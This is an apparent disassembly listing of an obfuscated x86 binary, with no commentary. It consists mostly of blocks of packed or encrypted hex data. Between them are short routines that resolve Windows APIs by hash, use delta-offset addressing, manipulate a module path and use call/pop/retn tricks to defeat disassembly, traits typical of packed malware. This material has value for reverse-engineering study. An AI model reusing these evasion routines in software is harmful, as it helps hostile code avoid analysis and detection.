		dd 0CA986CADh, 5BF40229h, 4E441C40h, 0DB7414BBh, 6213727Eh
		dd 7EDC2E2Fh, 0D5FBA972h, 7803CCF2h, 7E6F05E9h,	0B9Ah
		dd 0B576057Dh, 0AC0F205Eh, 84273641h, 0FA3D50A9h, 0D4D76A93h
		dd 0F3084269h, 6765D5Eh, 245FB671h, 41BB9215h, 32F38D2Eh
		dd 0D81E7E9Fh, 66CE1966h, 51203B45h, 8512038Eh,	0E7B56CAEh
		dd 6B6CFB3Ch, 0C0000000h, 7954FD19h, 0A6D4FA12h, 3748B6FDh
		dd 9EB1CF22h, 1D7BFFE5h, 0AAAAD0A1h, 80DD6ECCh,	2D786528h
		dd 4D1F6CAEh, 0AEE5E49Fh, 727F5E72h, 54444715h,	0BDE97780h
		dd 0B1CD617h, 87F30000h, 0A2DC37F0h, 0B8C72E89h, 0D22F06A1h
		dd 0EC117CBFh, 0C0EF5651h, 0DFD8758Eh, 38F388F4h, 1497A6DDh
		dd 0FA8C339h, 1DB071h, 8766D81Fh, 3F45E450h, 9FE5402Ch
		dd 5581FD8Ch, 190CD51Ah, 946B7122h, 2C6332C5h, 6CADE92Fh
		dd 0A0BFAA8h, 8D6CADE9h, 43E224DFh, 4EAAEE80h, 281CB51h
		dd 0F66F0000h, 5B573176h, 0A9EF3B96h, 3A68727Fh, 52BE3C9Bh
		dd 0B2A86617h, 7D55C96Fh, 0D2E29DE1h, 4F05F076h, 1FD76490h
		dd 78A7174Dh, 414C1DC3h, 6BE7D2B5h, 0E86C0052h,	602F32B0h
		dd 71BC3010h, 0F990EB46h, 0D1A0F2C6h, 94172852h, 780B43B9h
		dd 0BC304855h, 309DCF71h, 71BC3023h, 0C7C0F6A4h, 0EA3AB00Bh
		dd 537F6E06h, 3A00000Ah, 270EA9BEh, 0E6546D9h, 765D5EEFh
		dd 58B37409h, 0D6AD0E23h, 91ACD189h, 0A8BF3F16h, 4CDD240Fh
		dd 61FA006Bh, 246B3A46h, 66D81E37h, 452D07D0h, 0E215F3Bh
		dd 8547547Bh, 92C06CAEh, 0E9161DECh, 0B1BDCC2Bh, 925A052Bh
		dd 1EFA04EBh, 0C5A74FE0h, 0D28D5F17h, 99686622h, 8B8807D6h
		dd 0C6CAE84h, 8566775Eh, 0BD106CAEh, 6CAE84A0h,	0C7957527h
		dd 0B7BA4D1Ch, 8500334Eh, 7284DA5Dh, 4AD9A8FAh,	0BD4C1D2Ah
		dd 84DA0516h, 2FD08272h, 0C057A78Eh, 7AF0A82Ch,	27B5A9DFh
		dd 805107B5h, 5620210Dh, 0E5F4A678h, 0D626EE0Eh, 0BAAAC33Eh
		dd 206F7220h, 78562033h, 0D7D086D4h, 0FBEB80FCh, 0FB96EF42h
		dd 2D6071EBh, 78562030h, 53DA85D7h, 37B51629h, 7EE3A0C0h
		dd 97897D6h, 0E31F0000h, 0FE785354h, 14634A6Dh,	2E4BA205h
		dd 48BD9813h, 640BF235h, 7BBCD12Ah, 5457E410h, 0B06B0279h
		dd 0AB0C1F65h, 5C795415h, 0FB66D81Dh, 2120002Ch, 1F93B735h
		dd 49E42ED2h, 8B511D30h, 0F4F8EDE8h, 20A66CADh,	3C262B05h
		dd 0C446AB7Eh, 0A8BF3F67h, 3D4CABFAh, 0C488AB31h, 7D9E358Ch
		dd 1A6CAE1Ch, 4D79A48h,	1D3D5E75h, 0DA6CAEh, 24729FFAh
		dd 39DA880Ah, 7F6FD2D2h, 52277572h, 2E89A0DFh, 50DFF2AEh
		dd 9DBE1724h, 3A727F6Fh, 18B7BA68h, 78530B03h, 2C03D684h
		dd 576245D6h, 0E68EA3D8h, 0AAD05B04h, 0D4A03691h, 3BE9E3A3h
		dd 8C522h, 1B304800h, 304BB580h, 0C8619CF7h, 0E67B84EFh
		dd 0F895EEC5h, 6717443Fh, 4DA8031Eh, 0AA811A31h, 96FD3E4Fh
		dd 0A8D8D36Ch, 1BA9AA19h, 0F92E66D8h, 84F4E5B3h, 0C43E6CAEh
		dd 0B817A6ABh, 6CAE849Bh, 64B56E3Ch, 8E9FDE55h,	0B95B04E6h
		dd 4F1EE3DFh, 0ABFA97E0h, 0A933334Eh, 0D1C70FF6h, 1240727Fh
		dd 0A399E04Fh, 7FD1EFECh, 143A6872h, 2841B893h,	1A3B9659h
		dd 0BD727FD2h, 912834EFh, 0D1D2C3CEh, 2775727Fh, 83CCD7Ch
		dd 2C670000h, 0D86B7E74h, 1D102B55h, 0C7A549E4h, 8CF9B11Ch
		dd 0CC9E727Fh, 8C746520h, 3FBE727Fh, 8C95860Dh,	6032727Fh
		dd 2757B2B2h, 0FB4B5C10h, 8B3F8A2Ch, 307A75Ch, 83EC4B7Dh
		dd 5D000001h, 0C2A50C21h, 0B85BA1D5h, 2F3E45FCh, 8D9ADA47h
		dd 6DFE04E1h, 0D16C919Ch, 0C8944F1Dh, 898F166Dh, 5F6DF534h
		dd 311C9F4Dh, 9BB0CCCAh, 836311CBh, 561B97CFh, 3952A887h
		dd 18CB735h, 6CAE624Ch,	68D599CBh, 9772720Fh, 1F5ED76Ah
		dd 8377660Eh, 0B2A85A64h, 8A87A2CCh, 9A4DDDE4h,	0AE09205Bh
		dd 412D3C47h, 0ADFF4B44h, 0B275F56Ch, 0B6710873h, 9F626036h
		dd 0ADFF2B30h, 0A9D65D6Ch, 5102D894h, 0EF0BD67h, 7AA0BBC1h
		dd 0B55B2D85h, 0B205CB9h, 1394590h, 0ADCE9182h,	0CE619B6Ch
		dd 0FAEA98CAh, 9A4AE51Fh, 49885F2Bh, 0B69D1E2Dh, 0B93D3146h
		dd 0D0CDC0DFh, 776CADCEh, 0D3627725h, 0ADCEDFFCh, 93AAD56Ch
		dd 0DB8909D3h, 92622138h, 35727EE5h, 0A448E118h, 780F6FC6h
		dd 0E7C0F674h, 8235DD0h, 0EE7DF964h, 8DB66406h,	45BE56A6h
		dd 2EA6DEA0h, 23D1D3A3h, 0FBEB9943h, 0DEA31F77h, 6B142353h
		dd 4228319Ch, 75AF727Fh, 0DC1A7085h, 8339A343h,	0B7651159h
		dd 142952BFh, 0D486FD58h, 7F81DCF9h, 7B297B72h,	33F2C46Bh
		dd 975348Dh, 21722C0Ch,	0CA518FBFh, 1C73E052h, 0E50082BDh
		dd 564E0A70h, 0FB5C83Dh, 7D306AC6h, 0ED486B02h,	8FF7FA91h
		dd 2A5E78E4h, 0D773E6Fh, 37E87272h, 0D86F8FE6h,	4FE01A09h
		dd 521AC5A7h, 213A44ABh, 8C025E7Eh, 3E6ED6FDh, 0BBE97850h
		dd 52E91560h, 76077259h, 0A195FB5h, 0F20BDBECh,	0B9D70DAFh
		dd 6C24E88Bh, 718C6376h, 1FCD5CA7h, 9E2E6564h, 0C8727F6Ch
		dd 71001B65h, 7F6D4152h, 0EB94C672h, 4AB7BFEDh,	59176C2Ch
		dd 7F6D696Ah, 8EBCEE72h, 45A8DFD8h, 9A402C3Fh, 0FD19B3F9h
		dd 0ED5BE40Bh, 0BE5E0165h, 171AEFE3h, 0CD9F57EAh, 4A4F4A12h
		dd 0C46CADC9h, 4E60A342h, 2B514EC6h, 47h, 7B5619CFh, 6CAE855Ah
		dd 0A9F4AFFDh, 312D3C4Fh, 82DC4AEEh, 3E98A13h, 0AE479586h
		dd 0F5780B6Ch, 0DB768F8Bh, 0A2DC3935h, 5107E589h, 8C91CAEh
		dd 42537EEEh, 0C56CAE48h, 4FC6E197h, 6CAE698Ah,	0FF94AADFh
		dd 4586FFFFh, 93800F3Fh, 6E6CAE84h, 16DCA3A0h, 0F0A226B9h
		dd 80C73FC2h, 0E1897252h, 4E04C77h, 79752C18h, 0B5B8CF35h
		dd 0AF3D314Ch, 0FE77886h, 19FAA25Dh, 5C73ED0Ah,	6CAE853Fh
		dd 8E48AD8h, 0F6F8A152h, 0D3524E06h, 4Fh, 5A752C57h, 309DACD7h
		dd 6CAE8523h, 6CC0F6A4h, 84A9AA19h, 5F2E6CAEh, 52C6A027h
		dd 800D4CDFh, 6CAE7793h, 0FCB06634h, 8875619h, 6CAE850Bh
		dd 7F25DE8Ch, 51203B45h, 1CEAD625h, 0B6C17C2Eh,	41BCF1A7h
		dd 172D7728h, 16B90Dh, 2CEB0000h, 19357975h, 0AE84A9AAh
		dd 7539ED6Ch, 3B450B19h, 0D170C20h, 5E233A45h, 0C65BA08Fh
		dd 4451BC2Eh, 0C36CAE85h, 4706EE91h, 68778CE8h,	0DEE1CAD7h
		dd 0FF6A95Fh, 6CAE2B0Eh, 36EF36B0h, 0BBA3B6C7h,	1288472Eh
		dd 0E80A8Fh, 0BBD6916Ch, 42C9EA95h, 6CADB023h, 0F2C3C376h
		dd 196DFFFFh, 18D4F3FDh, 0AE0AA8B5h, 0C77D2F6Ch, 1CC73143h
		dd 5354E711h, 35983711h, 6CAE7628h, 3ACFFDAFh, 0E8F5D86Bh
		dd 6F6CAE75h, 7405703Dh, 9738404Bh, 8DDF727Fh, 96B3A4E1h
		dd 0ED5D727Fh, 0FCE5F93Ah, 7C24B7Ch, 66000000h,	1B9h, 742CEB00h
		dd 38246B7Eh, 2E727FABh, 7742034h, 0DE8C60F7h, 0C5DEFAA0h
		dd 0C2FDA3BAh, 6DC8A4F6h, 0F4BF7813h, 727FFC20h, 567DEF0Ah
		dd 727FFC45h, 1FE290C2h, 0AD56EB10h, 43DA210Ch,	66FEF5A3h
		dd 0F1C58D7h, 0E07DFA67h, 0F7A85E0Ch, 0CA31F037h, 3643AEB3h
		dd 0EE914B1Bh, 0FC9CE6CDh, 62F8F485h, 3B46ADBCh, 0E7984222h
		dd 0A5B6CC21h, 0FD289A15h, 0A9D2BEC4h, 5C02D894h, 27477B21h
		dd 0C51CE06h, 0A8h, 47A2C20h, 87561928h, 0AE850B08h, 25DE8C6Ch
		dd 0AE84BADEh, 4AB79E6Ch, 681E3348h, 7C30E684h,	6DE0B19h
		dd 2C3F45C8h, 2C180400h, 85687975h, 5802E279h, 0E5CFFDA7h
		dd 5A7B5619h, 0FD6CAE85h, 23ABF4AFh, 0E0524E06h, 38h, 79752C04h
		dd 0DB561935h, 0EAD1829Dh, 6CAE84E9h, 312D3C6Eh, 6950EA7Ah
		dd 4CE88B63h, 9013FD19h, 63ADBF53h, 45BBA9B0h, 170C203Bh
		dd 0ED0A190Dh, 1F78AF50h, 34000000h, 3579752Ch,	0D706FD19h
		dd 753BE35Ch, 310BF4Ah,	476CAE85h, 0B199393h, 0C203B45h
		dd 4FB90D17h, 0EBFFFFFFh, 5D2C3F45h, 0C8570221h, 20D3E561h
		dd 0F7A3D944h, 0E9C2F087h, 2E4EADEBh, 0E1975519h, 480DBD10h
		dd 0D88A727Fh, 47888914h, 8006727Fh, 4B10AE65h,	39154B7Dh
		dd 9000000h, 6B7E742Ch,	7F975024h, 0C9A5F772h, 7F96CBCCh
		dd 8598E172h, 64F50CE9h, 0C1D2F188h, 46727F96h,	0C4635314h
		dd 0F4339772h, 7CF89F3Fh, 5B9A894Bh, 0C65B11C2h, 0DF000000h
		dd 402C3F45h, 1E555DB9h, 0CF5A1F6Dh, 59F40914h,	3952A895h
		dd 99B2C835h, 898A39C8h, 0E6CAE33h, 91ACD15Ch, 43540FDDh
		dd 0AE3813C8h, 48E3196Ch, 3E4FAAB9h, 43B99405h,	3797840Bh
		dd 0EA306CAEh, 0A79B9ADDh, 67153B9Ch, 0CF629F92h, 0CC844814h
		dd 0B88C03D6h, 5F727F46h, 6E2AAA0Dh, 61226170h,	0E67852E9h
		dd 354EA5B4h, 5E89F18h,	0E5876FFEh, 770A733Ah, 0A3F77C94h
		dd 4E9F35E3h, 26Eh, 6942D921h, 405BF402h, 0B8730A75h, 0AE09245Dh
		dd 88233E47h, 0C73C6E3Dh, 0DA1A71AAh, 0F8036A4Dh, 156F4661h
		dd 4E1FA17Ah, 0D8165243h, 0A22F566h, 8A2D4045h,	750670FFh
		dd 8699E34Ah, 669F9225h, 9E411BCBh, 7E742C96h, 2A55D86Bh
		dd 91656013h, 36727F96h, 72F18864h, 9F7A6A03h, 6718CE61h
		dd 7F967B9Ch, 72B51572h, 7CF81DB1h, 0D21A4Bh, 451E0000h
		dd 215D2C3Fh, 0DF976F57h, 1CD8FB72h, 0BDB1CC31h, 3EDC210Ch
		dd 0C6F9AFC0h, 0ADF226FFh, 65F60C6Ch, 7E116B42h, 28A6E276h
		dd 2926A59h, 6735727Fh,	0D5649F92h, 1F904319h, 0FA8F035Dh
		dd 52A197D7h, 42413078h, 7852A251h, 839EDBF6h, 0A54B79E3h
		dd 5F7205D4h, 7852A23Eh, 4DE88BD9h, 2E542538h, 0C2B7EF89h
		dd 8EA1DB51h, 0DF5604E6h, 0C7E88BA6h, 1FA97ECh,	0E3A39EE9h
		dd 7BE504A8h, 12000001h, 7F5651E6h, 664D6E01h, 4EA50617h
		dd 0B09B1C31h, 0EF5364Bh, 0B9D42961h, 50E7177Eh, 74057C57h
		dd 92258B3h, 7C5312AEh,	66D8155Fh, 19052FF8h, 0A45FF00Ah
		dd 0CEE984F9h, 6FED43BBh, 0C5DC75F9h, 0EB456B6h, 0F8020D87h
		dd 0A78EB167h, 83E9C25Dh, 5DEA0A19h, 0D4894391h, 61C8591Dh
		dd 5FA580B3h, 7F3649B3h, 0A8446A05h, 8324374Dh,	460B87C1h
		dd 7F365B4Bh, 0DBAEFC72h, 63DC4A3h, 0B1621866h,	0F208E7B6h
		dd 85FFA659h, 0ACFFE7EAh, 0FDCCF640h, 6D000528h, 0F738DB81h
		dd 7A116DC0h, 97A8D259h, 0E3342EDFh, 0FDCDCD35h, 96F282BDh
		dd 51071A67h, 98CD0D80h, 184A7855h, 0A14745BFh,	79600CE3h
		dd 0B6h, 910A2159h, 88233CBAh, 0E03B52ADh, 0D6D16C95h
		dd 30EB86FFh, 0F742675h, 2252B972h, 40BB9215h, 5DA78E29h
		dd 16D7E9C2h, 0D8139ABBh, 42EA3D66h, 6B7E742Ch,	84DB4C24h
		dd 0D599CB72h, 775A1268h, 7284DB66h, 5CB43BE1h,	6BB66D06h
		dd 39149745h, 0F9C4A8C3h, 879DE5F1h, 0C6AEC13Bh, 632E1C5Bh
		dd 879DE672h, 0DD914715h, 1B9D483Ah, 77AE794Fh,	806F720Dh
		dd 5C0EE67Bh, 0E84772A3h, 5FC6F992h, 0A35A0A25h, 0E6A0BD10h
		dd 7527879Dh, 0FB96E34Ah, 0D90C9AEBh, 0FC8FE944h, 0C23B6AF0h
		dd 53A9F4AFh, 7D233E47h, 0DA200FBAh, 6D979E41h,	3CB12D2h
		dd 65000000h, 3D45190Bh, 0A1DB462Eh, 7BE68Eh, 5C988569h
		dd 0C13A27CFh, 2065C0ACh, 7B84610Dh, 0D4230EE6h, 324CA945h
		dd 68B25519h, 6137h, 68240489h,	1F67h, 68243C89h, 60A8h
		dd 68241489h, 5D656E0h,	81243C8Bh, 4C4h, 148B5400h, 4C48324h
		dd 8B850h, 0D0010000h, 48B3889h, 4C48324h
		dd 5A2434FFh, 4C481h, 3C8B0000h, 0E1895124h, 4C181h, 0C1830000h
		dd 240C8704h, 9E5E95Ch,	0D7D4FFFBh, 94557335h, 6F3806D0h
; ---------------------------------------------------------------------------


loc_5C1088:				; CODE XREF: ud2_____:loc_5BF445j
		mov	eax, 5D671F7h
		add	eax, ebp
		push	eax
		mov	byte ptr [ebp+5D124D9h], 47h
		push	0CF381725h
		push	dword ptr [ebp+5D10699h]
		lea	eax, [ebp+5D1384Ah]
		call	eax
		mov	ebx, eax
		lea	eax, [ebp+5D12815h]
		push	eax
		push	104h
		call	ebx	; WideCharToMultiByte
		mov	byte ptr [ebp+5D124D9h], 53h
		push	8307F8BFh
		push	dword ptr [ebp+5D10699h]
		lea	eax, [ebp+5D1384Ah]
		call	eax
		mov	[ebp+5D654C1h],	eax
		cmp	dword ptr [ebp+5D12A69h], 0
		jz	loc_5C10F2
		mov	ebx, [ebp+5D10F35h]
		jmp	loc_5C10F7
; ---------------------------------------------------------------------------


loc_5C10F2:				; CODE XREF: ud2_____:005C10E1j
		mov	ebx, 0


loc_5C10F7:				; CODE XREF: ud2_____:005C10EDj
		push	100h
		lea	esi, [ebp+5D654C5h]
		push	esi
		push	ebx
		call	dword ptr [ebp+5D116BDh]
		lea	esi, [ebp+5D654C5h]
		add	esi, eax
		jmp	loc_5C1118
; ---------------------------------------------------------------------------


loc_5C1117:				; CODE XREF: ud2_____:005C1124j
		dec	esi


loc_5C1118:				; CODE XREF: ud2_____:005C1112j
		cmp	byte ptr [esi],	5Ch
		jz	loc_5C112A
		cmp	byte ptr [esi],	2Fh
		jnz	loc_5C1117


loc_5C112A:				; CODE XREF: ud2_____:005C111Bj
		mov	byte ptr [esi],	0
		lea	eax, [ebp+5D654C5h]
		push	eax
		call	dword ptr [ebp+5D654C1h]
		pop	eax
		jmp	eax
; ---------------------------------------------------------------------------
		db 81h,	99h, 89h
		dd 0C1DBC77Fh, 0D8D0FE39h, 0FA661569h, 2E104820h, 766C7D55h
		dd 883AAA59h, 0AAB5C53h, 7E7CB159h, 0CE56FA14h,	0A7FE1958h
		dd 0B911F575h, 88C73F0Fh, 546FF910h, 5B5BDF2Bh,	0CCA9DF4Fh
		dd 61D3A533h, 0EF4F4765h, 9D7AD419h, 4B487D49h,	0E14EDE47h
		dd 0DD54474Fh, 2F69C767h, 7ABA9450h, 0C76F1A4Bh, 16135477h
		dd 728D8D1Eh, 6A05D674h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 19042444h, 40000000h, 0E9D4C350h,	457B50C8h
		dd 218D89F9h, 0E805D110h, 7, 0E6A1A659h, 0E8FDE800h, 12h
		dd 6B691B77h, 0DF019F4Ah, 0F6B1A017h, 2131840Ah, 95315CADh
		dd 5D12641h, 0C3815F5Bh, 39E72163h, 1C0985C7h, 73A805D1h
		dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 190424h
		dd 50400000h, 0DC726C3h, 8B9F17F4h, 0D1127D95h,	7985C705h
		dd 5D106h, 6A000000h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1C042444h, 41000000h, 6B61C351h, 64F23982h, 662CBA0Ah
		dd 0FF8BFABEh, 0D114A9B5h, 50606005h, 95BD8B5Eh, 6105D106h
		dd 9E9h, 5624D600h, 86B28B85h, 0FF61EF38h, 0D10EDD95h
		dd 0FCD28105h, 6A0607C7h, 5995FF00h, 8B05D124h,	297EEBC0h
		dd 131B317Eh, 3D71501Eh, 0C985FC60h, 727453CAh,	0B9A9AEA2h
		dd 9F0775F8h, 0DA938924h, 2B9A2CCFh, 88B99944h,	46BB64E9h
		dd 286687C8h, 101CA3A9h, 79EBD824h, 98D3AF82h, 6533CC58h
		dd 7EAA07CAh, 0F20ECF4Ch, 7127BC53h, 72C3EBCAh,	10AA99C7h
		dd 118BD202h, 98F8E689h, 0C1165147h, 0E51D28AAh, 2FF8A325h
		dd 7830F498h, 0D00504C0h, 0D398761h, 0DAF7AF26h, 0F595621Bh
		dd 3A79F363h, 6E84Bh, 64FC0000h, 3BA0C16Ch, 14E9h, 3E6E5600h
		dd 0FDE7C230h, 486ED831h, 0E7DB37ECh, 85BF937Ch, 0C181596Ah
		dd 5F16h, 11830Fh, 0CE90000h, 45000000h, 0C496ECB9h, 0E53BD8D4h
		dd 0B8550573h, 0E6E8EA8h, 7711E881h, 0EE90E6Eh,	17000000h
		dd 7413793Ah, 7CE849B2h, 0E90ED482h, 8B31FF72h,	0D132B1BDh
		dd 840F5E05h, 3, 8158C680h, 0E22AB9EEh,	0FFB70F15h, 13D7F681h
		dd 0F6816391h, 24705E00h, 0FC9BD8Bh, 318905D1h,	6603E983h
		dd 0E849F98Bh, 0Fh, 9B9ABCF8h, 9E2DED10h, 41BCD5D8h, 0F6F3EC7h
		dd 588h, 0C7816600h, 835A94AEh,	850F01E8h, 0FFFFFFA1h
		dd 6B2BBB66h, 0CE8h, 0D9EC800h,	175899C5h, 13445563h, 0B70F5E91h
		dd 19C681FEh, 80000065h, 6890C8h, 57000000h, 13E9h, 78061000h
		dd 0A41EBF46h, 0D268BC9h, 0B13ED15Dh, 184FA404h, 34FF5B5Fh
		dd 8B665933h, 77C181F8h, 0F28C4A1h, 687h, 99858B00h, 8105D12Dh
		dd 46E3DDE9h, 75958B46h, 8105D11Dh, 0C5A414E9h,	2D858920h
		dd 8905D12Bh, 858B1E0Ch, 5D132B1h, 13FD8589h, 0EB8305D1h
		dd 0EA816603h, 664B8BEFh, 2D9E081h, 9BB0FB81h, 850FFFFFh
		dd 18h,	0C097F281h, 2FE91ADCh, 0E0000000h, 0D68CDE20h
		dd 55084E8Ch, 7F594DDBh, 0BE9h,	54D62400h, 0C3420220h
		dd 67E60E7Bh, 0FFFF79E9h, 0E34B3CFFh, 0FA67209Fh, 0ACE45AFFh
		dd 8D8DBF28h, 5D6772Ch,	5E8h, 0AAFC0F00h, 0BF0F6605h, 8D8958D6h
		dd 5D11021h, 0EE9h, 1F2D5400h, 0AA6880BDh, 96930519h, 0C7476E11h
		dd 0D11C0985h, 63EC05h,	14E900h, 12130000h, 9851711Ch
		dd 815E8D76h, 0A2E771BAh, 0BC3EC211h, 85C714E0h, 5D10679h
		dd 0
; ---------------------------------------------------------------------------
		mov	esi, [ebp+5D1089Dh]
		push	dword ptr [ebp+5D11929h]
		push	0
		push	edi
		call	sub_5C1523
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C1523	proc near		; CODE XREF: ud2_____:005C151Bp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Bh
		inc	edi
		push	edi
		retn
sub_5C1523	endp

; ---------------------------------------------------------------------------
		db 5Eh
		dd 0FA8C22C1h, 89F0A6B6h, 0D11B2995h, 0DD95FF05h, 8B05D10Eh
		dd 0D10EF99Dh, 0FF006A05h, 0D1245995h, 0EBC08B05h, 2B9FD47Ah
		dd 0CA5251CBh, 1DB7470Eh, 4AC47CAAh, 0C294CFB2h, 5FE19663h
		dd 0F02A8E79h, 0B31B91EBh, 0EEDAD0D8h, 0C700ABE8h, 0B0133577h
		dd 61CC6673h, 0F239826Bh, 2CBA0A64h, 7D34DDD7h,	0D6573D7Eh
		dd 862BAC35h, 78802DC7h, 0D3233C30h, 8B1A358Ch,	0A516DD59h
		dd 78C25358h, 0E56EDFC2h, 0D72DFCC8h, 174A7354h, 0E1CCE665h
		dd 0F8CCAFB5h, 872B7B8Eh, 0AE45CA13h, 0B5472C0Ah, 0EB9AC935h
		dd 0B61B9026h, 8EAFEC33h, 64746E55h, 642E6C6Ch,	88006C6Ch
		dd 34074621h, 2BA3D25Dh, 1B2A9Eh, 0
		dd 0E9000000h, 708h, 0D6791D68h, 459E905h, 0F868FFFBh
		dd 0E905D679h, 0FFFB044Fh, 0D67A9E68h, 445E905h, 5668FFFBh
		dd 0E905D67Bh, 0FFFB043Bh, 0D67C4C68h, 431E905h, 1768FFFBh
		dd 0E905D67Dh, 0FFFB0427h, 99122951h, 0F02B44B2h, 0E8C35AA5h
		dd 0DED9748Dh, 38F38EF7h, 176C1E4Dh, 2A4AA17Ah,	48B39A1Dh
		dd 659FF631h, 1EAFD1CAh, 0D80CA2B3h, 0BAF22566h, 50ED0A19h
		dd 0F215CE9Ch, 1Dh, 2C3F45BEh, 91A6D65Dh, 0E11B06EEh, 0B1A66D4Eh
		dd 0A76CAE84h, 66193248h, 72B5C43Fh, 7E742C1Ah,	0A4B0246Bh
		dd 557727Fh, 0A52B2C69h, 65A5727Fh, 0EA6D01C2h,	1F474B7Ch
		dd 34A80896h, 53404F83h, 0F4727FE0h, 35CFF0A6h,	275h, 88FF629h
		dd 0FC8F5250h, 58F97D86h, 0AE306875h, 7BDEF6Ch,	7122D8A8h
		dd 7F8A5E8Ah, 0AABF972h, 0AE317B8Fh, 280D836h, 51BC507Fh
		dd 47AA3C7Fh, 8771223Dh, 796D695Dh, 0B3462870h,	7ED3FF1Ch
		dd 24CA983Ch, 0D6CC8448h, 302C8C03h, 0F9AB4253h, 3B9659E8h
		dd 4253301Ah, 0D4C1CCBDh, 7342532Fh, 236E7321h,	42533032h
		dd 51DC87D5h, 7A156F2Bh, 2785354h, 90686E69h, 33D119A3h
		dd 5052Ah, 0B205800h, 203B4590h, 3851AC87h, 0D66B94FFh
		dd 0E885FED5h, 772774CFh, 5DB8730Eh, 0BA910A21h, 0A68D2E3Fh
		dd 0D8E8C35Ch, 0B99BA09h, 0E93E66D8h, 2C3F4543h, 575DB940h
		dd 0C8BE6F38h, 0CB85B768h, 0DAFDC85Fh, 61D722C1h, 635F85A1h
		dd 0DCF9D43Ah, 7B6CAE03h, 84557B29h, 3BDDEF5h, 0E4AB6CAEh
		dd 6CAE03F7h, 9CCEC290h, 1CD06B91h, 0FFD2954Eh,	727F06AFh
		dd 484716D9h, 727F074Bh, 26379ECCh, 0A1727F07h,	9AC8C0F3h
		dd 0BBFE9901h, 0BD10E1DDh, 78502B75h, 0B61D4012h, 10EDE53Ch
		dd 0BC4D411Fh, 0BF047D11h, 0A4481A16h, 777A78D0h, 94C5BEA4h
		dd 5E8495ECh, 2DD6C142h, 92E352A6h, 0D2A7F51Ch,	816757A8h
		dd 13CC3DC6h, 88A3D954h, 0ADBEC42Fh, 63A1E62Ah,	0E405AF3Fh
		dd 42Ah, 0F53645BDh, 0ECCF609Eh, 0C4E77681h, 3AFD90E9h
		dd 1497AAD3h, 334802A9h, 46B69D1Eh, 649FF631h, 81FBD2D5h
		dd 0F2B3CDEEh, 0D80BBEDFh, 0A68E5966h, 29533F45h, 0FD8C6016h
		dd 82758C81h, 0D80701Dh, 6CADF510h, 0C37E5B7h, 96ED1048h
		dd 3CE27FF8h, 9C547B0Eh, 3B727F08h, 9D51E616h, 0DE9E19CFh
		dd 94FF8482h, 83892371h, 45810CDDh, 0C27855D6h,	1862C190h
		dd 3349A407h, 0A70A8590h, 174D7809h, 1E986676h,	0EC80B649h
		dd 0AFB23068h, 54E7111Ch, 0AA11C298h, 7E2761C6h, 72B81341h
		dd 3FDDCF5Fh, 3845495h,	9FDB0000h, 0BAC42F88h, 0D02F06A1h
		dd 0EA177EB9h, 4795457h, 0A8F74E69h, 37F08DF6h,	108BA0DCh
		dd 0CAFBEC5h, 6740DB21h, 18058859h, 0BF66D80Bh,	3F45CC68h
		dd 0D48C402Ch, 0DB240BDEh, 0C7CA9D46h, 727FA29Bh, 949B6E3Ch
		dd 2953D26Fh, 0D38C5E16h, 1AF17C2h, 0B5440000h,	7FA2FD1Eh
		dd 8A9FC072h, 0C8099A29h, 819CE5C8h, 0B8497FEDh, 80360815h
		dd 22DD8F72h, 208AF67Ah, 0C8A4B7CDh, 0F5536112h, 8DA5E8F9h
		dd 0A727FA9h, 0F9DE2558h, 5A67BCA0h, 0D2F180FEh, 6D8DC5BAh
		dd 93670F5Dh, 652839B5h, 73622215h, 1211E0B2h, 795457E8h
		dd 956F6803h, 0FCE8949Eh, 2CC0950h, 0E7130000h,	27C5750h
		dd 18674E69h, 324FA601h, 4CB19C1Fh, 600FF631h, 7FB8D52Eh
		dd 5853E814h, 0B477067Dh, 0AF082359h, 607D5011h, 0E766D80Ah
		dd 3F450430h, 0D48C402Ch, 4FD30BDEh, 478A7B6Dh,	0A549E01Bh
		dd 9B6E11C7h, 7EC3F834h, 0EACD9F72h, 162B50DFh,	1203045Eh
		dd 4EBD600Dh, 840FE798h, 0BA4F431Dh, 66FB04EBh,	0D823DC8Eh
		dd 78509F90h, 0DD386537h, 73288A3h, 272AA8E0h, 3AE6468h
		dd 4C43120Dh, 0D03AE4Fh, 1FF99AC8h, 732DA14Dh, 54DB6A7Fh
		dd 98631C2Dh, 12D80A18h, 310BF4Eh, 8412D80Ah, 0F9AB2DD6h
		dd 696A59E8h, 0EE12D80Ah, 0F588F1BCh, 766C3FCAh, 3D84674h
		dd 97AE95C3h, 15B21344h, 1E3F9267h, 0B912D86Dh,	176DC8EBh
		dd 3248A304h, 897A6191h, 246BB45Ah, 12D7E337h, 0DDC82D0h
		dd 0D7E29586h, 0B2603212h, 1EDEF559h, 49903C49h, 1D6h
		dd 415AF109h, 0B8730C6Ah, 900B225Dh, 86213C45h,	0E03B56AFh
		dd 0DF245605h, 0F2026942h, 106B4265h, 2D57BE79h, 26E79912h
		dd 0D8096A6Bh, 723AED66h, 2A533F45h, 0C98D6117h, 0BF4E138Fh
		dd 7B2A47B0h, 0D98363FEh, 9813DF26h, 0EE45727Fh, 71EBFB94h
		dd 9F184A4Eh, 7E742CB5h, 0FCF2246Bh, 7E647284h,	89940FC8h
		dd 735E23F6h, 72849162h, 0C8CB7E5h, 1D538B5Eh, 9AD249BCh
		dd 65C89F40h, 40AB0C1Fh, 894D213Ah, 830ED3CFh, 785B573Bh
		dd 28FB8EDCh, 0C0ACBFC5h, 0C832791Ah, 0E31974B7h, 0CF28BDC0h
		dd 0A3DDD2B8h, 5006E488h, 683BC2A2h, 5B0B3825h,	0D28DDF78h
		dd 99686622h, 2C3C7A2Ah, 4C4F1D7Eh, 0DDCA84DCh,	0B5E8F25h
		dd 52000001h, 0BF961126h, 0A68D2E41h, 8EE5C657h, 0F0DBDC71h
		dd 4E35F68Bh, 79146921h, 102757BEh, 3445BC97h, 0C96298F3h
		dd 0BC13D2EEh, 66D8079Fh, 2C45EF38h, 0D86B7E74h, 0AE84E8F5h
		dd 98B5C26Ch, 0BE496A38h, 84FCC513h, 9C334272h,	7284FC7Fh
		dd 0C8A44A18h, 0A304176Dh, 30DE1914h, 0E282B0C9h, 0A6DC4778h
		dd 379EC495h, 0AA4FC56Bh, 73546B0h, 2A15905Ch, 459181DEh
